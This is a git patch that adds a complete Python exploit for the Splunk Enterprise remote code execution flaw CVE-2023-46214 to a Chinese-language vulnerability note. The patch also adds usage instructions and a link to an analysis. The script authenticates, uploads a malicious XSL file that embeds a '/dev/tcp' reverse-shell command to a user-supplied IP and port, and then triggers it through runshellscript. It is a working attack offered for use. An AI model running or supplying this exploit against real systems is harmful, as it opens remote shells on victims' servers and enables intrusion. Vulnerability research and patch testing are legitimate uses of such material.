From ba4fcd6c00f6d8b9dff8ea908229327f32f74d86 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Thu, 21 Dec 2023 19:18:19 +0800
Subject: [PATCH] =?UTF-8?q?Update=20Splunk=20Enterprise=20=E8=BF=9C?=
=?UTF-8?q?=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E?=
=?UTF-8?q?=20(CVE-2023-46214).md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
...prise 远程代码执行漏洞 (CVE-2023-46214).md | 180 ++++++++++++++++++
1 file changed, 180 insertions(+)
diff --git a/Splunk Enterprise 远程代码执行漏洞 (CVE-2023-46214).md b/Splunk Enterprise 远程代码执行漏洞 (CVE-2023-46214).md
index 860766d..12acdfd 100644
--- a/Splunk Enterprise 远程代码执行漏洞 (CVE-2023-46214).md
+++ b/Splunk Enterprise 远程代码执行漏洞 (CVE-2023-46214).md
@@ -6,8 +6,188 @@ Splunk 是一款机器数据的引擎,可用于收集、索引和利用所有
## exp
- https://github.com/nathan31337/Splunk-RCE-poc
+
+
+```python
+#!/usr/bin/env python3
+
+import argparse
+import requests
+import json
+
+# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
+proxies = {}
+
+def generate_malicious_xsl(ip, port):
+ return f"""
+
+
+
+ sh -i >& /dev/tcp/{ip}/{port} 0>&1
+
+
+
+"""
+
+def login(session, url, username, password):
+ login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"
+ response = session.get(login_url, proxies=proxies)
+ cval_value = session.cookies.get("cval", None)
+
+ if not cval_value:
+ return False
+
+ auth_payload = {
+ "cval": cval_value,
+ "username": username,
+ "password": password,
+ "set_has_logged_in": "false",
+ }
+
+ auth_url = f"{url}/en-US/account/login"
+ response = session.post(auth_url, data=auth_payload, proxies=proxies)
+ return response.status_code == 200
+
+def get_cookie(session, url):
+ response = session.get(url, proxies=proxies)
+ return response.status_code == 200
+
+def upload_file(session, url, file_content, csrf_token):
+ files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}
+ upload_headers = {
+ "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
+ "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-Splunk-Form-Key": csrf_token,
+ }
+
+ upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"
+ response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)
+
+ try:
+ text_value = json.loads(response.text)['messages'][0]['text']
+ if "concatenate" in text_value:
+ return False, None
+ return True, text_value
+ except (json.JSONDecodeError, KeyError, IndexError):
+ return False, None
+
+def get_job_search_id(session, url, username, csrf_token):
+ jsid_data = {'search': f'|search test|head 1'}
+ jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"
+ upload_headers = {
+ "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-Splunk-Form-Key": csrf_token,
+ }
+ response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)
+ try:
+ jsid = json.loads(response.text)['sid']
+ return True, jsid
+ except (json.JSONDecodeError, KeyError, IndexError):
+ return False, None
+def trigger_xslt_transform(session, url, jsid, text_value):
+ xslt_headers = {
+ "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
+ "X-Splunk-Module": "Splunk.Module.DispatchingModule",
+ "Connection": "close",
+ "Upgrade-Insecure-Requests": "1",
+ "Accept-Language": "en-US,en;q=0.5",
+ "Accept-Encoding": "gzip, deflate",
+ "X-Requested-With": "XMLHttpRequest",
+ }
+ exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"
+ response = session.get(exploit_endpoint, verify=False, proxies=proxies)
+ response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)
+ return response.status_code == 200
+
+def trigger_reverse_shell(session, url, username, jsid, csrf_token):
+ runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}"'}
+ runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"
+ upload_headers = {
+ "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
+ "X-Requested-With": "XMLHttpRequest",
+ "X-Splunk-Form-Key": csrf_token,
+ }
+ response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)
+ return response.status_code == 201
+
+def main():
+ parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')
+ parser.add_argument('--url', required=True, help='Splunk instance URL')
+ parser.add_argument('--username', required=True, help='Splunk username')
+ parser.add_argument('--password', required=True, help='Splunk password')
+ parser.add_argument('--ip', required=True, help='Reverse Shell IP')
+ parser.add_argument('--port', required=True, help='Reverse Shell Port')
+
+ args = parser.parse_args()
+
+ session = requests.Session()
+
+ print("[!] CVE: CVE-2023-46214")
+ print("[!] Github: https://github.com/nathan31337/Splunk-RCE-poc")
+
+
+ if not login(session, args.url, args.username, args.password):
+ print("[-] Authentication failed")
+ exit()
+
+ print("[+] Authentication successful")
+
+ print("[*] Grabbing CSRF token", end="\r")
+ if not get_cookie(session, f"{args.url}/en-US"):
+ print("[-] Failed to obtain CSRF token")
+ exit()
+
+ print("[+] CSRF token obtained")
+
+ csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)
+
+ malicious_xsl = generate_malicious_xsl(args.ip, args.port)
+ uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)
+
+ if not uploaded:
+ print("[-] File upload failed")
+ exit()
+
+ print("[+] Malicious XSL file uploaded successfully")
+
+ jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)
+
+ if not jsid_created:
+ print("[-] Creating job failed")
+ exit()
+
+ print("[+] Job search ID obtained")
+
+ print("[*] Grabbing new CSRF token", end="\r")
+ if not get_cookie(session, f"{args.url}/en-US"):
+ print("[-] Failed to obtain CSRF token")
+ exit()
+
+ print("[+] New CSRF token obtained")
+
+ if not trigger_xslt_transform(session, args.url, jsid, text_value):
+ print("[-] XSLT Transform failed")
+ exit()
+
+ print("[+] Successfully wrote reverse shell to disk")
+ if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):
+ print("[-] Failed to execute reverse shell")
+ exit()
+
+ print("[+] Reverse shell executed! Got shell?")
+
+if __name__ == "__main__":
+ main()
+```
+
+## 使用方法
+```
+python3 CVE-2023-46214.py --url --username --password --ip --port
+```
## 漏洞分析
- https://blog.hrncirik.net/cve-2023-46214-analysis